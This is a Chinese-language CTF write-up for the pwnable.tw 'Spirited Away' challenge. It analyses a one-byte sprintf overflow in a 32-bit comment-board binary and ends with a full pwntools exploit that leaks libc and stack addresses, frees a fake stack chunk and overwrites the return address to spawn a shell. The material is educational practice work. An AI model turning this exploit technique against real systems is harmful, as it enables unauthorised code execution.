目錄
  1. 1. 前言
  2. 2. 程序分析
    1. 2.1. 保护机制
    2. 2.2. 主要函数
  3. 3. 解题思路
pwnable.tw Spirited Away

前言

这道题是栈溢出与堆溢出的结合,利用sprintf函数进行溢出。

程序分析

保护机制

1
2
3
4
5
6
7
➜  spirit-away checksec ./spirited_away
[*] '/mnt/hgfs/shared/tw/spirit-away/spirited_away'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序,只开启了NX

主要函数

survay函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int survey()
{
char v1; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s; // [esp+50h] [ebp-A8h]
int v5; // [esp+A0h] [ebp-58h]
void *buf; // [esp+A4h] [ebp-54h]
int v7; // [esp+A8h] [ebp-50h]

nbytes = 0x3C;
v3 = 0x50;
LABEL_2:
memset(&s, 0, 0x50u);
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &s, nbytes);
++cnt;
printf("Name: %s\n", buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", &v7);
printf("Comment: %s\n\n", &s);
fflush(stdout);
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(&v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 'Y' || choice == 'y' )
{
free(buf);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

可以发现实现的是一个留言板的功能,该程序存在两个漏洞:

  1. 利用read函数可以泄露出栈中的地址,其中包括libc和栈地址
  2. sprintf函数存在单字节溢出
1
2
3
4
5
当cnt为三位数,例如100时
>>> len("100 comment so far. We will review them as soon as we can")
57

这时最后一个字节n会覆盖掉nbytes,这时nbyte==0x6e,在read buf和&s时都会产生溢出

解题思路

  1. 泄露libc和栈地址,并计算出system和“/bin/sh”的地址
  2. 在栈上布置好fake_chunk,利用&s的溢出覆盖buf的值为fake_chunk地址并进行free
  3. 利用buf(现在为栈地址)的溢出覆盖掉返回值

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

p = process("./spirited_away")
# p = remote("chall.pwnable.tw", 10204)
elf = ELF("./spirited_away")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
# libc = ELF("./libc_32.so.6")

s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
r = lambda : p.recv()
ru = lambda x: p.recvuntil(x)
rl = lambda : p.recvline()

def gd():
gdb.attach(p,'b *0x0804a084')

def leave(name,reason,comment):
sa('Please enter your name: ', name)
sa('Please enter your age: ', '1\n')
sa('Why did you came to see this movie? ', reason)
sa('Please enter your comment: ', comment)

def andone():
sa('Would you like to leave another comment? <y/n>: ', 'y')

#overflow to nbytes
for i in range(10):
leave('kangel\0','a\0','b\0')
andone()

for i in range(90):
sa('Please enter your age: ', '1\n')
sa('Why did you came to see this movie? ', 'c\x00')
sa('Would you like to leave another comment? <y/n>: ', 'y')

#leak libc
leave('kangel\0','a'*0x14+'bbbb','123')
ru("bbbb")
libc_base = u32(p.recv(4)) - 7 - libc.sym['_IO_file_sync']
print hex(libc_base)
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
andone()

#leak stack
leave('kangel\0','a'*0x34+'bbbb','123')
ru("bbbb")
stack = u32(p.recv(4)) - 0x70
print hex(stack)
andone()

#fake_chunk
reason = p32(0) + p32(0x41) + 'a'*0x38 + p32(0) + p32(0x11)
comment = 'a'*0x54 + p32(stack+8)
leave('kangel\0',reason,comment)
andone()

#heap overflow
name = 'a'*0x4c + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
leave(name,'a\0','b\0')
# gd()
sa('Would you like to leave another comment? <y/n>: ', 'n')
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/06/23/pwnable-tw-Spirited-Away/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL